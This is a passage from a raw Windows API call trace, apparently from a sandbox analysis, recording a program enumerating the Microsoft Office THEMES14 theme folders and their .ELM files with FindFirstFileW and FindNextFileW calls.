nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.650] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51767f50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.650] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd394600, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd394600, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x189be, dwReserved0=0x0, dwReserved1=0x0, cFileName="AXIS.ELM", cAlternateFileName="")) returned 1 [0050.650] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.650] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.650] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0050.650] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLENDS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.650] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.650] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe32f2700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe32f2700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x10db7, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLENDS.ELM", cAlternateFileName="")) returned 1 [0050.651] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.651] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.651] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0050.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUECALM\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.651] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.651] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6c2ae00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x5f775610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe6c2ae00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xc2ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUECALM.ELM", cAlternateFileName="")) returned 1 [0050.651] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.651] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.651] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0050.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.651] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.651] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7f3db00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe7f3db00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xda86, dwReserved0=0x0, dwReserved1=0x0, cFileName="BLUEPRNT.ELM", cAlternateFileName="")) returned 1 [0050.651] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.651] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.651] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0050.651] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.652] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.652] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1 [0050.652] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.652] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.652] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0050.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.652] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.652] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x0, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1 [0050.652] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.652] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.652] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1 [0050.652] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.652] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.652] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x0, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1 [0050.652] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.653] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.653] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1 [0050.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.653] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.653] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1 [0050.653] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.653] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.653] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE", cAlternateFileName="")) returned 1 [0050.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.653] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c50cb0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.653] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xede9bc00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xede9bc00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xba44, dwReserved0=0x0, dwReserved1=0x0, cFileName="CASCADE.ELM", cAlternateFileName="")) returned 1 [0050.653] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.653] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.653] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS", cAlternateFileName="")) returned 1 [0050.653] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.653] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.653] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf17d4300, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6041aaf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf17d4300, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xd613, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPASS.ELM", cAlternateFileName="")) returned 1 [0050.654] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.654] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.654] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE", cAlternateFileName="")) returned 1 [0050.654] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CONCRETE\\*", lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0050.654] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0050.654] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2d5f004 | out: lpFindFileData=0x2d5f004*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ae7000, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51cc30d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ae7000, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb1d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONCRETE.ELM", cAlternateFileName="")) returned 1 [0050.654] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0050.654] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x3800078 | out: hHeap=0xb80000) returned 1 [0050.654] FindNextFileW (in: hFindFile=0x5932a0, lpFindFileData=0x2d5f288 | out: lpFindFileData=0x2d5f288*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, 